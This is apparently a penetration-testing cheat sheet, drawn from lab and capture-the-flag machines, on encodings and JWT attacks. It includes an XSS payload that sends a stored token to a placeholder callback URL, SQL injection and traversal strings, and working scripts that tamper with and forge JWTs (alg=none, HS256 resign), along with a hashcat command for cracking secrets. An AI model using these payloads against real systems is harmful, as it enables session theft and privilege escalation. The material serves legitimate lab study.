Encodings
Base64, URL, hex and HTML codecs, nested payload strings, and JWT decode, tampering, and forge.
Base64 encode / decode (+ UTF-16-LE)
Base64 converts bytes into printable ASCII characters. It is an encoding rather than encryption: decoding requires no key. Standard Base64 uses + and /; URL-safe Base64 replaces them with - and _ so the result can be placed more safely in URLs and tokens.
import base64
raw_bytes = b"data"
encoded_bytes = base64.b64encode(raw_bytes)
encoded_text = encoded_bytes.decode()
decoded_bytes = base64.b64decode(encoded_text)
decoded_text = decoded_bytes.decode()
urlsafe_bytes = base64.urlsafe_b64encode(raw_bytes)
urlsafe_text = urlsafe_bytes.decode()
powershell_command = "whoami"
powershell_bytes = powershell_command.encode("utf-16-le")
powershell_encoded_bytes = base64.b64encode(powershell_bytes)
powershell_encoded = powershell_encoded_bytes.decode()b64encode() and b64decode() operate on bytes. .decode() converts the resulting ASCII bytes into a Python string. PowerShell’s encoded-command input expects the original command as UTF-16 little-endian bytes before Base64 encoding.
Find by: base64, encode, decode, b64encode, b64decode, utf-16-le, powershell, urlsafe, bytes, string · Source: PG/Monster
URL encode / double-encode
Percent encoding represents a byte as % followed by two hexadecimal digits. quote(..., safe="") encodes reserved URL characters, while quote_plus() also represents a space as +, matching form-style query encoding. Double encoding applies the same transformation twice, so %2F becomes %252F because the % character is encoded during the second pass.
from urllib.parse import quote, quote_plus, unquote, urlencode
input_path = "a b/c?d"
encoded_path = quote(input_path, safe="")
traversal_path = "../etc"
encoded_once = quote(traversal_path, safe="")
encoded_twice = quote(encoded_once, safe="")
form_value = quote_plus("a b")
decoded_path = unquote("%2Fetc%2Fpasswd")
query_parameters = {
"q": "' or 1=1",
"p": 2
}
query_string = urlencode(query_parameters)Find by: url encode, urlencode, quote, percent encoding, double encoding, unquote, plus, waf bypass, special chars, escape
Triple-quoted f-string for nested payloads
Triple-quoted f-strings allow single quotes and double quotes inside the same Python string without escaping them. The f prefix still interpolates Python values, while JavaScript backticks remain literal.
callback_url = "<CALLBACK_URL>"
payload = f"""<img src=x onerror='fetch("{callback_url}/?data=" + encodeURIComponent(btoa(localStorage.getItem(`<KEY>`))))'>"""callback_url is inserted into the payload by Python. The remaining quote types retain their JavaScript and HTML meanings.
Find by: python, string, triple quote, triple quoted string, f-string, nested quotes, payload quoting, javascript payload, xss · Source: HTB/FeedbackFlux
Hex & HTML-entity encode / decode
Hexadecimal encoding represents each byte as two characters from 0-9a-f. bytes.fromhex() and binascii.unhexlify() both convert that text back into bytes, after which .decode() can interpret the bytes as text.
HTML entity encoding represents syntax characters with forms such as < and >. html.escape() creates those representations and html.unescape() reverses them. Python’s unicode_escape codec represents non-printable or non-ASCII characters with Python-style escape sequences where required.
import binascii
import html
plain_text = "hello"
plain_bytes = plain_text.encode()
hex_text = plain_bytes.hex()
decoded_hex_bytes = bytes.fromhex(hex_text)
decoded_hex_text = decoded_hex_bytes.decode()
unhexlified_bytes = binascii.unhexlify(hex_text)
unhexlified_text = unhexlified_bytes.decode()
html_source = "<script>"
escaped_html = html.escape(html_source)
unescaped_html = html.unescape("<b>")
unicode_text = "A"
unicode_escape_bytes = unicode_text.encode("unicode_escape")Find by: hex, hexlify, bytes fromhex, binascii, unhexlify, xxd, exfil decode, oob output, html entities, html escape, unescape, ampersand, encode, decode, xss, unicode escape
JWT — decode header & payload (no verify)
A compact JSON Web Token contains three dot-separated text segments:
<BASE64URL_HEADER>.<BASE64URL_PAYLOAD>.<BASE64URL_SIGNATURE>The header is a JSON object describing token metadata such as the signing algorithm. The payload is a JSON object containing claims, which are named pieces of application data such as a user identifier or role. The signing input is the exact text <BASE64URL_HEADER>.<BASE64URL_PAYLOAD>. A signing algorithm and key produce the signature bytes stored in the third segment. Verification checks those bytes with the server’s expected key and fails if either encoded JSON segment was modified.
Base64url decoding only reads the JSON; it does not verify the signature or prove who created the token. JWT segments commonly omit trailing = padding, so the decoder restores enough padding to make the segment length a multiple of four.
import base64
import json
def b64url_decode(segment):
padding = "=" * (-len(segment) % 4)
padded_segment = segment + padding
decoded_segment = base64.urlsafe_b64decode(padded_segment)
return decoded_segment
def jwt_decode(token):
header_segment, payload_segment, signature_segment = token.split(".")
decoded_header = b64url_decode(header_segment)
decoded_payload = b64url_decode(payload_segment)
header = json.loads(decoded_header)
payload = json.loads(decoded_payload)
decoded_token = (header, payload)
return decoded_token
header, payload = jwt_decode(TOKEN)
print(header, payload)Find by: jwt, json web token, decode, header, payload, claims, base64url, inspect, alg, none, gap, bearer
JWT — tamper claims when the server only decodes
This flaw exists when application code decodes JWT claims and uses them for authorization without first verifying the signature. Decoding answers what the token claims; signature verification determines whether a trusted signer created those exact claims.
Vulnerable server pattern
const payload = jwt.decode(token);
if (payload.role === "admin") {
// privileged operation
}The server-side jwt.decode() call shown above reads the claims but does not prove that the token was signed with the expected key. PyJWT can therefore read the original token without validation, modify the required claim, and create another correctly formatted token:
import jwt
def tamper_jwt(token):
payload = jwt.decode(token, options={"verify_signature": False})
payload["<CLAIM>"] = "<VALUE>"
tampered_token = jwt.encode(payload, "<ARBITRARY_KEY>", algorithm="HS256")
return tampered_token
tampered_token = tamper_jwt(TOKEN)jwt.encode() still creates an HS256 signature, but its key can be arbitrary only because the vulnerable server never checks that signature. Signature verification with the expected key would reject the modified header and payload.
Find by: jwt, pyjwt, tamper jwt, modify claims, verify_signature false, decode without verify, jwt decode instead of verify, arbitrary signing key, privilege escalation · Source: HTB/TheMagicInformer
JWT — forge (alg=none & HS256 resign)
Two different conditions permit token forgery.
With an alg: none flaw, the verification path accepts a token declaring that it has no signature. The token retains the trailing dot that separates the empty signature segment. Merely placing none in the attacker-controlled header is insufficient; the server or JWT library configuration must actually permit unsigned tokens.
With HS256, the signature is a hash-based message authentication code calculated from the encoded header and payload using one shared secret. A leaked or guessable secret permits arbitrary claims to be encoded and signed. Guessing is performed offline because each candidate signature can be compared with the signature already present in a captured token.
import base64
import json
import hmac
import hashlib
def b64url(value):
if isinstance(value, str):
raw_bytes = value.encode()
else:
raw_bytes = value
encoded_bytes = base64.urlsafe_b64encode(raw_bytes)
encoded_bytes = encoded_bytes.rstrip(b"=")
encoded_value = encoded_bytes.decode()
return encoded_value
def forge_none(claims):
header_json = json.dumps({"alg": "none", "typ": "JWT"})
payload_json = json.dumps(claims)
encoded_header = b64url(header_json)
encoded_payload = b64url(payload_json)
token = f"{encoded_header}.{encoded_payload}."
return token
def forge_hs256(claims, secret):
header_json = json.dumps({"alg": "HS256", "typ": "JWT"})
payload_json = json.dumps(claims)
encoded_header = b64url(header_json)
encoded_payload = b64url(payload_json)
secret_bytes = secret.encode()
message = f"{encoded_header}.{encoded_payload}"
message_bytes = message.encode()
signature = hmac.new(secret_bytes, message_bytes, hashlib.sha256)
signature_bytes = signature.digest()
encoded_signature = b64url(signature_bytes)
token = f"{encoded_header}.{encoded_payload}.{encoded_signature}"
return token
claims = {
"user": "admin",
"role": "admin"
}
forged_token = forge_hs256(claims, "secret")
print(forged_token)Hashcat mode 16500 tests candidate HS256 secrets against a captured JWT:
hashcat -m 16500 token.jwt rockyou.txtFind by: jwt, forge, alg none, hs256, resign, secret, sign, privilege escalation, admin, tamper, weak key, gap, crack